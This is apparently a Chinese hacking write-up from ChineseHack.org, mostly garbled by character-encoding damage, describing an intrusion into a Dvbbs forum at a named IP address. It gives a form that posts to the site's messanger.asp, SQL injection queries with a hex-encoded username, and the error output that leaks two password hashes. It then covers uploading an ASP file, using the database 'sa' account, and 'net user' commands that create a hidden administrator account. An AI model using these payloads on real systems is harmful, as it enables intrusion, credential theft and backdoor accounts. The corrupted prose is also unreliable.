һ:עõû½,½ʱѡ񱣴cookie,׫дϢ,
ڶ:±ҳύϢ
<form action=http://61.156.35.167/bbs/messanger.asp?action=ɾݸ method=post>
<input type=text name=id width=32>
<input type=submit>
</form>
usernameʹSQL Encoder,һԱradiofly
ύ
select userpassword from [user] where username=0x72006100640069006f0066006c007900 and userpassword>7
õ
Microsoft VBScript   '800a03f6' 

ȱ 'End' 

/iisHelp/common/500-100.asp242 

Microsoft OLE DB Provider for SQL Server  '80040e07' 

 nvarchar ֵ '78e4ea2181b00d21' תΪΪ int ʱ﷨ 

/bbs/messanger.asp619 

78e4ea2181b00d21radioflyǰ̨

ύ
select password from admin where username=0x72006100640069006f0066006c007900 and password>7
ǫ̃ acaa91f51ed197c7

dvbbs½⹤߲½ ȴ ȴ ٵȴok
õ½̨,޸ļϴ,asp,ϴasp
õsqlݿsa,ʹsqlexec
net user admin$ xiaoxue /add
net localgroup administrators admin$ /add

 over :)
by С·

Download by
С
ChineseHack.org